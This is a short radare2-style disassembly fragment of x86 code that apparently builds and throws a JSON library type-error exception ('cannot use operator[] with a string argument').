lea ecx, [ebp - 0x278]
call fcn.0040b750
mov byte [ebp - 4], 0x15
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x290]
call fcn.0048ece0
mov byte [ebp - 4], 0x16
mov edx, 0x131
push eax
lea ecx, [ebp - 0x230]
call fcn.00412b50
add esp, 8
lea eax, [ebp - 0x230]
push 0x56b638
push eax
call fcn.004fdd4b
int3